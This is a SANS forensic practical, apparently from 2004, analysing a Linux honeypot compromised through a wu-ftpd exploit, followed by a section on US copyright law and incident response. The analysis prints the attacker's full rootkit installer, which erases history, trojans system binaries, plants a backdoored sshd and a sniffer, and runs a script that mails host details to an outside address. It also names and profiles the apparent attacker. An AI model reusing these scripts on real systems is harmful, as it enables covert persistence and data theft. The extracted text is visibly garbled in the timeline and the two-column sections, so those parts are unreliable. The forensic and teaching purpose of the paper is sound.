As the bridging firewall was configured with the Snort intrusion detection system, a short summary of the snort collected data is listed below. The data shows the FTP RNFR attack followed by a transfer of noop sled shellcode and wu-ftp bad file completion attempts. Even though not all of this data is considered by snort to be high priority events (snort interprets priority 1 events as most serious, priority 3 events as least serious), the context of the events while considered together has been proven to be a true positive.

```
[root@gateway raw]# cat /tmp/exploit_logs
11/22-04:24:48.365616 [**] [1:1622:5] FTP RNFR ././ attempt [**] [Classification: Misc
Attack] [Priority: 2] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
<previous line repeated 60 times>
11/22-04:25:08.866826 [**] [1:1622:5] FTP RNFR ././ attempt [**] [Classification: Misc
Attack] [Priority: 2] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
11/22-04:25:09.135759 [**] [1:1622:5] FTP RNFR ././ attempt [**] [Classification: Misc
Attack] [Priority: 2] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
11/22-04:25:09.680658 [**] [1:1424:4] SHELLCODE x86 EB OC NOOP [**] [Classification:
Executable code was detected] [Priority: 1] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
11/22-04:25:09.681869 [**] [1:1424:4] SHELLCODE x86 EB OC NOOP [**] [Classification:
Executable code was detected] [Priority: 1] {TCP} x.y.z.144:21 -> 218.3.240.10:50084
11/22-04:25:09.960703 [**] [1:1378:10] FTP wu-ftp bad file completion attempt { [**]
[Classification: Misc Attack] [Priority: 2] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
11/22-04:25:10.499153 [**] [1:1622:5] FTP RNFR ././ attempt [**] [Classification: Misc
Attack] [Priority: 2] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
11/22-04:25:11.830695 [**] [1:1622:5] FTP RNFR ././ attempt [**] [Classification: Misc
Attack] [Priority: 2] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
11/22-04:25:14.143285 [**] [1:1748:4] FTP command overflow attempt [**] [Classification:
Generic Protocol Command Decode] [Priority: 3] {TCP} 218.3.240.10:50084 -> x.y.z.144:21
```

We can use the Linux whois client to access the APNIC registry to retrieve information regarding the owners of the address, it would appear that it is also likely a compromised host, as it seems to be part of an educational facility.

```
[root@GCFA string] # whois 218.3.240.10
[Querying whois.apnic.net]
[whois.apnic.net]
% [whois.apnic.net node-1]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
```

<pre>inetnum: netname: descr: descr: country: admin-c: tech-c: changed: status: mnt-by: mnt-lower: source:</pre>	218.3.240.8 - 218.3.240.15 XUZHOU-TEACHER-TRAINING-COLLEGE XuZhou Teacher Trainning College Education Xuzhou City Jiangsu Province CN CH482-AP CH482-AP ip@jsinfo.net 20030315 ASSIGNED NON-PORTABLE MAINT-CHINANET-JS MAINT-CHINANET-JS-XZ APNIC
<pre>route:</pre>	218.3.0.0/16
descr:	CHINANET jiangsu province network
country:	CN
origin:	AS23650
mnt-by:	MAINT-CHINANET-JS
changed:	ip@jsinfo.net 20030414
source:	APNIC
<pre>person:</pre>	CHINANET-JS-XZ Hostmaster
address:	No.116,Huaihai East Road,Xuzhou 221000
country:	CN
phone:	+86-516-5806352
fax-no:	+86-516-3712480
e-mail:	ipxz@pub.xz.jsinfo.net
nic-hdl:	CH482-AP
remarks:	send anti-spam or abuse reports to abuse@public.xz.js.cn
remarks:	or abuse@pub.xz.jsinfo.net
remarks:	times in GMT+8
mnt-by:	MAINT-CHINANET-JS-XZ
changed:	ip@jsinfo.net 20030428
source:	APNIC
Timeline S	ummary

#### **Timeline Summary**

Sat Nov 03 2001 12:04:48Attackers Root Kit is compiled and packagedThu Nov 20 2003 13:32:25Begin Honeypot Operating System InstallationThu Nov 20 2003 14:21:31End Honeypot Operating System InstallationSat Nov 22 2003 02:47:20Honeypot connected directly to InternetSat Nov 22 2003 04:24:40Attacker exploits FTP vulnerabilitySat Nov 22 2003 04:24:40Attacker creates 'Daniel' AccountSat Nov 22 2003 04:24:6:04Attacker configures rootkit	0 ( NI 00 000)	
Thu Nov 20 2003 13:32:25Begin Honeypot Operating System InstallationThu Nov 20 2003 14:21:31End Honeypot Operating System InstallationSat Nov 22 2003 02:47:20Honeypot connected directly to InternetSat Nov 22 2003 04:24:40Attacker exploits FTP vulnerabilitySat Nov 22 2003 04:46:04Attacker creates 'Daniel' AccountSat Nov 22 2003 04:46:53Attacker configures rootkit	Sat Nov 03 2001 12:04:48	Attackers Root kit is compiled and packaged
Thu Nov 20 2003 14:21:31End Honeypot Operating System InstallationSat Nov 22 2003 02:47:20Honeypot connected directly to InternetSat Nov 22 2003 04:24:40Attacker exploits FTP vulnerabilitySat Nov 22 2003 	Thu Nov 20 2003 13:32:25	Begin Honeypot Operating System Installation
Sat Nov 22 2003 02:47:20Honeypot connected directly to InternetSat Nov 22 2003 04:24:40Attacker exploits FTP vulnerabilitySat Nov 22 2003 04:46:04Attacker creates 'Daniel' AccountSat Nov 22 2003 	Thu Nov 20 2003 14:21:31	End Honeypot Operating System Installation
Sat Nov 22 2003 04:24:40Attacker exploits FTP vulnerabilitySat Nov 22 2003 04:46:04Attacker creates 'Daniel' AccountSat Nov 22 2003 04:46:53Attacker configures rootkit	Sat Nov 22 2003 02:47:20	Honeypot connected directly to Internet
Sat Nov 22 2003 04:46:04Attacker creates 'Daniel' AccountSat Nov 22 2003 04:46:53Attacker configures rootkit	Sat Nov 22 2003 04:24:40	Attacker exploits FTP vulnerability
Sat Nov 22 2003 Attacker configures rootkit 04:46:53	Sat Nov 22 2003 04:46:04	Attacker creates 'Daniel' Account
	Sat Nov 22 2003 04:46:53	Attacker configures rootkit

Sat Nov 22 2003 10:49:40	Sendmail attempts to resend mail from rootkit install
Sat Nov 22 2003 11:01:01	System unplugged.

### **Recovery of Deleted Files**

Network Based File Recovery

Rootkit extraction from the network datastream was accomplished by using tcpdump to log binary packet dumps to the bridging firewall. ethereal was then used to analyze the traffic. Analysis steps consisted of

- 1. identifying the connection invoked by the attackers use of the ncftp client to download their rootkit from 206.253.222.88
- 2. Using ethereal's TCP stream capture utility to save the data content associated with that FTP TCP transaction to file.

[root@gateway rootkit]# file rootkit] tar gr	We use the file command
rootkit1 tar gg; ggip compressed data from Univ	to examine the contents
TOUCKICI.Cal.gz. gzip complessed data, fiom onix	of the network
	or the network
	worifuing that it
	appears to be a valid
	appears to be a valid
	We use the ter serverd
[root@GCFA rootKit]# tar XIV2p rootKiti.tgz	we use the tar command
.rootkit/	to unzip and unarchive
.iootkit/Startup.tgz	une footkit life
.iootkit/curatare.tgz	verbosery. As a result
rootkit/mail_info_taz	we see that the achive
rootkit/maii iniu.lyz	concarned a secup
rootkit/trojang tag	directory and sourcel
rootkit/motd	more archived/zippod
	utilition
secup	utificies.
[rootACCEA rootbit]# ]s_a]	We examine the contents
total 400	of the directory after
$drwyr_yr_y$ 3 kraut kraut 4096 Jan 28 22.12	the extraction
drwxr-xr-x 16 kraut kraut 4096 Jan 28 21.32	the extraction.
drwxr-xr-x 4 kraut kraut 4096 Jap 28 22:12 rootkit	
-rwxr $-r$ 1 kraut kraut 385815 Nov 23 18:04	
rootkitl tar gz	
-rwxr-xr-x 1 root root 3265 Jul 4 2003 setup	
[root@GCFA rootkit]# cd_rootkit/	We change directory
[root@GCFA rootkit]# ]s	into the hidden file
curatare mailme read startfile trojans.tgz	and examine the
curatare.tgz motd sniffer.tgz startup.tgz write	contents.
mail-info.tgz port sshd.tgz trojans	
· · · · · · · · · · · · · · · · · · ·	
<pre>[root@GCFA .rootkit]# file *</pre>	We use the file command
curatare: directory	to assess the types of
curatare.tgz: gzip compressed data, from Unix	files in the rootkit.
mail-info.tgz: gzip compressed data, from Unix	
mailme: Bourne shell script text executable	
motd: ASCII text	
port: Bourne shell script text executable	

© SANS Institute 2004,

read:	a /usr/bin/perl script text executable	
sniffer.tgz:	gzip compressed data, from Unix	
sshd.tgz:	gzip compressed data, from Unix	
startfile:	Bourne shell script text executable	
startup.tgz:	gzip compressed data, from Unix	
trojans:	directory	
trojans.tgz:	gzip compressed data, from Unix	
write:	ELF 32-bit LSB executable, Intel 80386, version 1	
(SYSV), for GN	U/Linux 2.0.0, dynamically linked (uses shared	
libs), strippe	d	
[root@GCFA .ro	otkit]#	
[root@GCFA .ro	otkit]# cat mailme	We manually inspect the
#!/bin/sh		contents of the mailme
		script. We again see
# This file wi	ll mail you informations about the root	the e-mail address of
touch /tmp/inf	0	the attacker, and
/sbin/ifconfig	-a   grep inet >> /tmp/info	understand the way by
hostname -f >>	/tmp/info	which he created the e-
uname -a >> /t	mp/info	mail file previously
w >> /tmp/info		discussed that was
cat /proc/cpuinfo >> /tmp/info		located in the
cat /proc/meminfo >> /tmp/info		/var/spool/mqueue
ping -c 6 yahoo.com >> /tmp/info		directory.
/sbin/route -n >> /tmp/info		
cat /tmp/info   mail -s "\$(uname -a)" danni3ll@yahoo.com.au 💦		
rm -f /tmp/info		

Next, we would like to inspect the contents of the rootkit install script. We see that it conveniently provides a step by step description of every phase of the root kit installation process. In the following analysis, we will discuss each section of the rootkit installation script individually in the right hand column.

Rootkit install script (broken down for analysis)	
#!/bin/sh #!/bin/bash	This tells the Unix kernel to interpret this file as a Unix shell script. The second line doesn't affect the interpreter, and looks like a backup to the first line intended for manual editing.
BLK=''	It looks like the attacker dedicated
RED=''	some time to enhance the rootkit
GRN=''	installation experience with color.
YEL=''	·
BLU=''	
MAG=''	
CYN=''	
WHI=''	
DRED=''	
DGRN=''	
DYEL=''	
DBLU=''	
DMAG=''	
DCYN=''	
DWHI=''	
RES=''	
unset HISTFLIE	The attacker instructs the Unix shell to
unset HISTSAVE	forgo command recording to the
unset HISTLOG	history files.
chown root.root *	The attacker makes root the owner and group owner of all files within the current directory.

Jason\_B\_Anderson\_GCFA

STARTDIR=`pwd`	The attacker saves the present working directory to a variable.
chattr +suai ~root/.bash_history chattr +suai /var/log/messages	The attacker uses the chattr command to set options associated with Linux ext2 and above file systems. The 's' in 'suai' ensures that the file will be securely deleted if deleted, the 'u' specifies that the contents are saved for recovery if deleted by user. The 'a' makes the file only avail able for writing through an append, and the 'l' makes the file unavailable for name change, deletion, or linking until the super-user removes this attribute from the file.
clear sleep 5	Cleari the screen and waiting 5 seconds prior to proceeding.
cd .rootkit >> /dev/null DIR=`pwd`	We change into the .rootkit hidden directory. We save this directory to a variable.
<pre>tar xzf sk.tgz &gt;&gt; /dev/null cd sk &gt;&gt; /dev/null bash inst &gt;&gt; /dev/null cd /usr/share/locale/sk/.sk12 &gt;&gt; /dev/null ./sk &amp;</pre>	No sk.tgz archive exists in the rootkit, so this wouldn't have done anything.
cd \$DIR echo "\${GRN}" cat motd echo "\${RES}"	We write the penguin ascii art to screen. We render the penguin in green.
<pre>echo " \${DGRN}Starting Rootkit Instalation\${RES}" echo echo " \${RED}Makeing Home Directory And Copying Programs \${RES}" mkdir -p /etc/nmh// &gt;&gt; /dev/null</pre>	We create a directory 'nmh' within the /etc directory to use as a place to hide the hidden directory ''
<pre>echo " \${DGRN}sniffer\${RES}" tar -xzf sniffer.tgz &gt;&gt; /dev/null cp write /etc/nmh//write &gt;&gt; /dev/null cp read /etc/nmh//read &gt;&gt; /dev/null</pre>	We unzip the sniffer files and save them to the hidden directory.
<pre>echo " \${DGRN}curatare\${RES}" tar -xzf curatare.tgz -C /etc/nmh// &gt;&gt; /dev/null echo " \${RED}Done With Directorys &amp; Programs\${RES}" echo echo " \${RED}Removeing Original Files\${RES}" echo " \${RED}And Replaceing With Ours\${RES}" echo</pre>	Curatare contains trojaned ps and pstree commands, presumably to hide the sniffer and backdoored sshd processes from the system administrator.
<pre>tar -xzf trojans.tgz &gt;&gt; /dev/null cd trojans/ &gt;&gt; /dev/null ./trojans &gt;&gt; /dev/null cd &gt; /dev/null</pre>	The attacker trojanizes a large number of system utilities
<pre>echo " \${RED}Copying SSH Files\${RES}" tar -xzf sshd.tgz &gt;&gt; /dev/null cd sshd &gt;&gt; /dev/null echo " \${DGRN}sshd_config\${RES}" if [ -f /usr/lib/sshd_config ]    then         chattr -suai /usr/lib/sshd_config &gt;&gt; /dev/null         rm -rf /usr/lib/sshd_config &gt;&gt; /dev/null fi</pre>	Here the attacker reconfigures the sshd infrastructure as a backdoor for future connection.

```
cp -f sshd_config /usr/lib/sshd_config >> /dev/null
chattr +suai /usr/lib/sshd config >> /dev/null
        ${DGRN}ssh host key ...${RES}"
echo "
if [ -f /usr/lib/ssh host key ]
   then
       chattr -suai /usr/lib/ssh host key >> /dev/null
       rm -rf /usr/lib/ssh host key >> /dev/null
fi
cp -f ssh host key /usr/lib/ssh host key >> /dev/null
chattr +suai /usr/lib/ssh_host_key >> /dev/null
echo " ${DGRN}ssh_random_seed ...${RES}"
if [ -f /usr/lib/ssh random seed ]
   then
       chattr -suai /usr/lib/ssh_random_seed >> /dev/null
       rm -rf /usr/lib/ssh random seed >> /dev/null
fi
cp -f ssh random seed /usr/lib/ssh random seed >>
/dev/null
chattr +suai /usr/lib/ssh random seed >> /dev/null
echo " ${DGRN}sshd ...${RES}"
if [ -f /sbin/kflushd ]
                                                                   The attacker copies their sshd daemon
   then
                                                                   into an inconspicuous location/name to
       chattr -suai /sbin/kflushd >> /dev/null
                                                                   be ran as a daemon. Inspection of the
       rm -rf /sbin/kflushd >> /dev/null
                                                                   sshd_config command shows that the
fi
                                                                   attacker has this version of sshd
cp -f sshd /sbin/kflushd >> /dev/null
                                                                   listening on port 123.
chattr +suai /sbin/kflushd >> /dev/null
cd ../ >> /dev/null
echo "
        ${RED}Done With SSH Files ...${RES}"
echo
echo
echo " ${RED}Creating Startup Files ...${RES}"
                                                                   These files control the automated
tar -xzf startup.tgz >> /dev/null
                                                                   startup of the sniffer infrastructure via
echo " ${RED}Starting SSHD Backdoor & Sniffer ...${RES}"
                                                                   use of the /etc/init.d/port script.
./startfile >> /dev/null
echo "
         ${RED}Done ...${RES}"
echo
echo
echo " ${RED}Gathering System Info & Sending
                                                                   The attacker collects basic information
Mail...${RES}"
                                                                   and emails to their (presumably)
tar -xzf mail-info.tgz >> /dev/null
                                                                   personal e-mail address.
./mailme
echo " ${RED}Done ...${RES}"
echo
echo
echo " ${RED}Removeing Our Tracks ...${RES}"
                                                                   The attacker insecurely removes the
cd $STARTDIR
                                                                   contents of the hidden .rootkit directory
rm -rf .rootkit rootkit.tgz setup
                                                                   and the associated files.
                                                                   The attacker sets the History length to
export HISTSIZE=1
                                                                   only store one command.
chmod -s /usr/bin/rpc*
                                                                   No clear reason why the attacker
                                                                   would want to remove secure deletion
                                                                   properties on the rpcgen command
```

<pre>echo anonymous &gt;&gt; /etc/ftpusers echo ftp &gt;&gt; /etc/ftpusers echo</pre>	The attacker prevents other users from logging in as ftp or anonymous, thereby closing the hole that the attacker used to exploit the system
<pre>echo " \${GRN}[D] [O] [N] [E]\${RES}" echo "\${GRN}" hostname -f /sbin/ifconfig   grep inet echo "\${RES}"</pre>	The attacker prints the fully qualified domain name to the screen and ensures that promiscuous mode is up via use of the ifconfig command.
rm -rf dan.tgz	The attacker insecurely removes the original overall rootkit package.

The script below is installed under the /etc/init.d Linux startup folder and serves as the sshd daemon listening on Port 123 and as the rootkit boot startup script. This sshd daemon, renamed above by the install script as kflushd, has likely been trojanized.

[root@GCFA init.d]# cat port	We use the cat command
#!/bin/sh	to list the contents of
x=`pwd`	the port script.
cd /sbin >> /dev/null	
export PATH="."	
kflushd &	
cd /etc/nmh// >> /dev/null	
PATH=".";export PATH	
write &	
cd \$x > /dev/null	

### String Search Results

Because the swap partition isn't organized as a filesystem, swap analysis is limited to a string search. Our analysis strategy will be to look at a number of different printable string lengths within the swap partition. We will look at all string sequences that range between 8 and 45 printable characters long (surrounded by non-printable characters) with the string command. This method should ensure that we have searchable access to most of the probable sequences that would be expected to have descriptive merit. Upon collection of various string sequences, we will utilize a list of keywords to further narrow our data.

```
[root@GCFA media_analysis]# for n in `seq 8 45`
> do
> strings -${n} partition_6.dd > partition_6.strings.${n}
> done
We perform a strings
command specifying
increasing numbers of
ascii printable
```

[root@GCFA media analysis]#	character string
	sequences ranging from
	8 to 40
<pre>[root@GCFA string]# for string in `ls -1`; do wc -1 \$string;</pre>	We see the respective
done sort -n	number of strings in
11748 partition 6.strings.45	the swap partition
12687 partition 6.strings.44	based upon increasing
13727 partition 6.strings.43	numbers of ascii
14223 partition 6.strings.42	printable character
14665 partition 6.strings.41	string sequences.
15065 partition 6.strings.40	
15397 partition 6.strings.39	
15826 partition 6.strings.38	
16858 partition 6.strings.37	
17365 partition 6.strings.36	
17907 partition 6.strings.35	
18419 partition 6.strings.34	
18846 partition 6.strings.33	
19628 partition 6.strings.32	
20397 partition 6.strings.31	
21086 partition 6.strings.30	
21847 partition 6.strings.29	
22454 partition 6.strings.28 🗠	
23178 partition 6.strings.27	
23847 partition_6.strings.26	
24739 partition_6.strings.25	
25524 partition_6.strings.24	
26524 partition_6.strings.23	
27699 partition_6.strings.22	
28778 partition_6.strings.21	
30208 partition_6.strings.20	
31882 partition_6.strings.19	
33748 partition_6.strings.18	
35269 partition_6.strings.17	
37463 partition_6.strings.16	
39681 partition_6.strings.15	
41597 partition_6.strings.14	
44142 partition_6.strings.13	
47865 partition_6.strings.12	
61311 partition_6.strings.11	
65984 partition_6.strings.10	
8/360 partition_6.strings.9	
108821 partition_6.strings.8	
148/22 partition_6.strings.7	

[root@GCFA string]# ls	-1		We review the sizes of
total 46972			our resultant string
-rw-rr 1 root	root	1782031 Jan 30 12:16	files. As expected, the
partition 6.strings.10			files representing
-rw-rr 1 root	root	1730628 Jan 30 12:17	longer string sequences
partition_6.strings.11			are smaller than the
-rw-rr 1 root	root	1569276 Jan 30 12:18	ones with fewer string
partition_6.strings.12			sequences.
-rw-rr 1 root	root	1520877 Jan 30 12:19	
partition_6.strings.13			
-rw-rr 1 root	root	1485247 Jan 30 12:20	
partition_6.strings.14			
-rw-rr 1 root	root	1456507 Jan 30 12:20	
partition_6.strings.15			
-rw-rr 1 root	root	1421019 Jan 30 12 <b>:</b> 21	
partition_6.strings.16			
-rw-rr 1 root	root	1383721 Jan 30 12:22	
partition_6.strings.17			
-rw-rr 1 root	root	1356343 Jan 30 12:23	
partition_6.strings.18			
-rw-rr 1 root	root	1320889 Jan 30 12:24	
partition_6.strings.19			
-rw-rr 1 root	root	1287409 Jan 30 12 <b>:</b> 25	
partition_6.strings.20			
-rw-rr 1 root	root	1257379 Jan 30 12:26	

#### Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

partition_6.strings.21 -rw-rr 1 root	root	1233641	Jan 3(	12:27	
partition_6.strings.22 -rw-rr 1 root	root	1206616	Jan 30	12:28	
partition_6.strings.23	root.	1182616	Jan 3(	12:29	
partition_6.strings.24	root	1162991	Jan 3(	12.30	
partition_6.strings.25	1000	1120700	Tan 20	10.01	
partition_6.strings.26	root	1139/99	Jan St	12:31	
-rw-rr 1 root partition_6.strings.27	root	1121736	Jan 30	12:31	
-rw-rr 1 root partition 6.strings.28	root	1101464	Jan 30	12:32	
-rw-rr 1 root partition 6.strings.29	root	1083861	Jan 30	12:33	
-rw-rr 1 root	root	1061031	Jan 30	12:34	.90
-rw-rr 1 root	root	1039672	Jan 30	) 12 <b>:</b> 35	
-rw-rr 1 root	root	1015064	Jan 30	12:36	
-rw-rr 1 root	root	989258	Jan 30	12:37	
partition_6.strings.33 -rw-rr 1 root	root	974740	Jan 30	12:38	
partition_6.strings.34 -rw-rr 1 root	root	956820	Jan 30	12:39	
partition_6.strings.35	root	937308	Jan 3(	12:40	
partition_6.strings.36	root	9185/9	Jan 30	12.10	
partition_6.strings.37	1000	070000		10 41	
partition_6.strings.38	root	8/9333	Jan 30	12:41	
-rw-rr 1 root partition_6.strings.39	root	862602	Jan 30	₩12 <b>:</b> 42	
-rw-rr 1 root partition_6.strings.40	root	849322	Jan 30	12:43	
-rw-rr 1 root partition 6.strings.41	root	832922	Jan 30	12:44	
-rw-rr 1 root partition 6.strings.42	root	814358	Jan 30	12:45	
-rw-rr 1 root	root	793030	Jan 30	12:46	
-rw-rr 1 root	root	747270	Jan 30	) 12:47	
-rw-rr 1 root	root	704512	Jan 30	12 <b>:</b> 47	
partition_6.strings.45 -rw-rr 1 root	root	2506752	Jan 30	12:09	
partition_6.strings.7 -rw-rr 1 root	root	2188940	Jan 30	12:14	
partition_6.strings.8 -rw-rr 1 root	root	1995791	Jan 30	12:15	
partition_6.strings.9					
[root@GCFA string]# egre	ep "[0-9]{	1,3}\.[0-	9]{1,3]	\.[0-	 We use regular
51(1,51()[0-5](1,5) pd.	<u>0.</u> da				capability of egrep to look for IP addresses
[root@GCFA string]# cat	ip_string	s  wc -1			 on the swap partition. Of the 22 IP addresses
534 [root@GCFA string]# cat	ip string	s   grep ·	-v 192	wc -l	found in swap, all were related to initial
22 [root@GCFA string]#					honeypot configuration.
[root@GCFA media_analys:	is]# wc -1	usage			 To identify any
[root@GCFA media_analys:	is] <mark># cat u</mark>	sage grep	port v	rc -1	summaries, we grep for
τυα					usage strings that would be expected to be
					part of the binary. Due

Jason\_B\_Anderson\_GCFA

to the number of hits,
we narrow our scope to
those which might
suggest a sniffer,
using the 'port'
keywork. No relevant
strings were identified
by manually reviewing
the 108 matches.

Keywords and regular expressions (beyond the port example above) used to search for signs of compromise were:

- Port
- Hack
- Rootkit
- Dan
- Yahoo
- 31337
- ssh

#### Strings Search Summary

Keyword searches on the aforementioned strings yielded little in the string search on the swap partition. Of the data that was available, it was apparent that much of the swap still contained strings related to the Operating System install from 2 days prior to compromise. The majority of this memory seemed to contain data related to some element of the X configuration.

## Conclusions

The following conclusions were made regarding the honeypot compromise:

- By using the username daniel84 in one of his ftp download attempts, and by using the email address <u>danni3ll@yahoo.com.au</u>, we have reason to suspect that the attacker may be located in Australia. By using the username Daniel, we may also have reason to suspect that the attacker's first name is Daniel. Other references to dani3ll from Google suggest that Daniel frequents IRC (Internet Relay Chat), which is a common Internet Chat client for computer attackers<sup>7</sup>.
- The attacker used only a user-mode rootkit, which was limited to basically removing lines from operating system utilities prior to printing to screen. In the case where the attacker wishes to filter the string 'PROMISC' out of the ifconfig executable, in doing so, he also remove other relevant information that is easily missed by simply comparing the ifconfig output of the Ethernet card vs the linux loopback driver. This suggests that the attacker does not fully comprehend the nature of covering his tracks in Linux.
- As was shown in the analysis of the /var/log/messages file, the attacker failed to remove signs of the in.ftpd daemon compromise. A more thorough break-in would have removed all signs of initial compromise.

- The attacker did manager to close the vulnerability by which they compromised the system simply by adding ftp and anonymous to the /etc/ftpusers file, thereby preventing these anonymous accounts from being able to interact with the daemon in the first place, preventing a recurrent attack on the same vulnerability by another attacker.
- While the attacker was unwise in transferring his rootkit via cleartext ftp, thereby allowing for our interception, they did manage to delete the files securely in a way that they were unrecoverable using the Sleuthkit.
- The attacker was careless in leaving his email address in plain site in the /var/spool/mqueue directory, and should have verified that sendmail was able to transfer his file, else collect system information via ssh.
- The attacker appeared to have compromised the honeypot from another compromised system in China, and then downloaded their rootkit from a possibly compromised FTP server in Atlanta. This suggests that the attacker has compromised numerour systems.

The following conclusions were made regarding the honeypot configuration

- Timeline anaylsis was complicated by noise created by cron jobs, especially the slocate cron job, which modified the access times of many system files. While honeypots should be minimally modified, a removal of the cron processes would have facilitated easier timeline analysis.
- The attacker was able to do much over an SSH connection that was not monitorable via network survelliance. Assuming that most attackers would trust the ssh client and sshd daemon process on the compromised honeypot, it might be worth modifying the ssh and sshd honeypot sourcecode to include keylogging capabilities.

### References

1 Spitzner, Lance. "<u>Know Your Enemy: GenII Honeynets</u>." URL: <u>http://www.honeynet.org/papers/gen2/</u>

2 Setuid Man Page. URL: http://www.homeport.org/~adam/setuid.7.html

3. Murilo, Nelson & Steding-Jessen, Klaus. <u>Chkrootkit homepage</u>. URL: <u>http://www.chkrootkit.org/</u>

4. Carrier, Brian. Sleuthkit Homepage. URL: http://www.sleuthkit.org

5. Ethereal Homepage. URL: http://www.ethereal.com/

6. Willis, Chuck. Forensics with Linux 101. URL:

http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-willis-c/bh-us-03-willis.pdf. pg 52.

7. http://www.honeynet.org.pk/irc.txt

## Part 3 - Legal Issues of Incident Handling

# Laws broken by the Distribution of copyrighted materials in the United States

#### **Definitions and Scope**

U.S. copyright law provides for the protection of literary works, musical works including any accompanying words, dramatic works, including any accompanying music, pantomimes and choreographic works, pictorial, graphic, and sculptural works, motion pictures and other audiovisual works, architectural works, and sound recordings<sup>1</sup>.

Digital property such as software and source-code fall within the broad scope covered by Literary works<sup>3</sup>. Music Content formats such as MP3's and similar formats, along with Movie recordings such as AVI's, WMA's, and similar formats, fall within the digital interpretation of sound recordings and motion pictures, respectively.

17 U.S.C Section 101 (7) defines 'Literary works' as:

works, other than audiovisual works, expressed in words, numbers, or other verbal or numerical symbols or indicia, regardless of the nature of the material objects, such as books, periodicals, manuscripts, phonorecords, film, tapes, disks, or cards, in which they are embodied<sup>2</sup>.

Sound recordings are similarly defined under 17 U.S.C Section 101 (2) as:

"Sound recordings" are works that result from the fixation of a series of musical, spoken, or other sounds, but not including the sounds accompanying a motion picture or other audiovisual work, regardless of the nature of the material objects, such as disks, tapes, or other phonorecords, in which they are embodied.<sup>2</sup>

17 U.S.C Section 101 defines 'Audiovisual works' as:

Works that consist of a series of related images which are intrinsically intended to be shown by the use of machines, or devices such as projectors, viewers, or electronic equipment, together with accompanying sounds, if any, regardless of the nature of the material objects, such as films or tapes, in which the works are embodied<sup>2</sup>.

#### **Rights of Copyright Owners and Definitions of Violation**

According to 17 U.S.C Section 106 subsections (5),(6), "Subject to sections 107 through 121, the owner of copyright under this title has the exclusive rights to do and to authorize, in the case of literary, musical, dramatic, and choreographic works, pantomimes, and pictorial, graphic, or sculptural works, including the individual images

of a motion picture or other audiovisual work, to display the copyrighted work publicly; and in the case of sound recordings, to perform the copyrighted work publicly by means of a digital audio transmission "<sup>6</sup> This section of title 17 provides authorization to the copyright author sole rights in the dissemination of Music and Music Videos, audiovisual works such as Motion Picture content and DVD's, and literary works including software and games to the public in anyway subject to the limitations outlined in 17 U.S.C Sections 107 through 121.

#### Limitations on the Rights of Copyright Owners

Fair Use exceptions are outlined in 17 U.S.C Sections 107. Given the nature of the public distribution of copyrighted materials fair use considerations would have to include, according to 17 U.S.C Section 17 subsections (1),(2),(3),(4), use for educational or commercial usages, the nature of the work, the fractional quantity of the work used, and the effect of use on the potential value of the work<sup>7</sup>. Essentially, fair use contributes substantially to the 'grey area' considerations of copyright law. It is improbable that John Price's activities would fall within a fair use exception clause to 17 U.S.C Section 106.

17 U.S.C Section 109 also documents the limitation of right of the copyright owner, allowing for the rights of the copy owner to sell particular copies<sup>8</sup>. As John Price was known to have been using digital copies of copyrighted material, it is again improbably that his activities would be protected under this provision.

17 U.S.C Section 114 deals with the scope of exclusive rights in sound recordings, and provides for the following limitations on the rights of the copyright owner in cases of public transfer for a number of cases involving broadcasting<sup>9</sup>. None of these exemptions would limit copyright owners rights against public digital distribution by John Price.

17 U.S.C Section 117 deals with limitations on the exclusive rights of copyright owners in cases related to computer programs. Specific cases include when making copies of the software is an essential part of utilizing the program, or during archival purposes during legitimate ownership is granted<sup>10</sup>. Rights entitled to the copyright owner by John Prices public distribution would likely not be limited by an interpretation of these provisions.

#### Liability Limitations for Service Providers

17 U.S.C Section 512 defines liability limitations for service providers who did not initiate or direct the transmission of infringing activities, in cases of transitory digital network communications:

"A service provider shall not be liable for monetary relief, or, except as provided in subsection (j), for injunctive or other equitable relief, for infringement of copyright by reason of the provider's transmitting, routing, or providing connections for, material through a system or network controlled or operated by or for the service provider, or by reason of the intermediate and transient storage of that material in the course of such

transmitting, routing, or providing connections, if the transmission of the material was initiated by or at the direction of a person other than the service provider" <sup>14</sup>

This section likely could be used to limit the liability of the company in the case of John Price's public distribution of copyrighted material. Legal Counsel would be necessary prior to taking any actions on this interpretation.

### Incident Response Strategies in Copyright Violation Scenarios within the United States

#### Preparation

#### Environment & User Familiarity

Incident handlers should have a reliable and up-to-date method of assessing information on any part of the network that falls within their scope of responsibility, including lists of systems, their configurations, their listening daemons, compliance of those systems with minimum security specifications, and network maps, security infrastructure. They should also be familiar with the types of information on these systems, and the nature of information as it regularly transverses the networks. Incident handlers should also be familiar with user requirements and the users themselves. Knowledge of Law Enforcement contacts and contacts with upstream ISP's and extranet partners are also advised.<sup>11,14</sup>

#### **Security Policies**

Preparation steps should include the formation and regular update of corporate information security policies that mandate compliance to the laws outlined in Title 17 of U.S. Code. Security policies should also state penalties for violating copyright laws and define the actions to be taken during an investigation phase<sup>11</sup>. The policies should also state be written to give guidance on incident handling steps to follow in case of an incident, and should state the powers and discretions available to different stakeholders in the corporation, including management<sup>11</sup>.

#### **User Education**

User education should be disseminated to employees through the use of flyers, corporate memo's, mandatory classes regarding information security policies and penalties for their violation. By educating the user base, a company can pro-actively stem the problem prior to its initiation.

#### Identification

Identification of copyright violations can be garnered via a variety of methods. Methods for identifying potential copyright violations can be categorized in proactive and reactive methods:

<u>Pro-active Identification Methods</u>: Corporate shares and publicly available servers such as web servers, file servers, open shares, and systems available to non-trusted users

should be regularly scanned for content which can be identified by file extensions such as ".mp3, .avi, .wma, .jpg, .gif"

<u>Re-active Identification Methods</u>: Existing Intrusion Detection Infrastructure could be used to monitor network traffic for traversal of suspicious file extensions such as ".mp3, .avi, .wma, .jpg, .gif" by simply watching for those strings. More elaborate methods might entail extracting common binary code associated with those binary types. This method would eliminate an attackers capability to mask copyright infringement actions by renaming files, although encrypted and zipped content would elude even this advanced tactic.

<u>Rewards for identification</u>: Although controversy exists among incident handling experts, a company may offer rewards for the escalation of information security violations including copyright violations.

#### Containment

Initial Containment:

Containment of publicly distributed copyright violations should be handled by removing public access to such violations immediately.

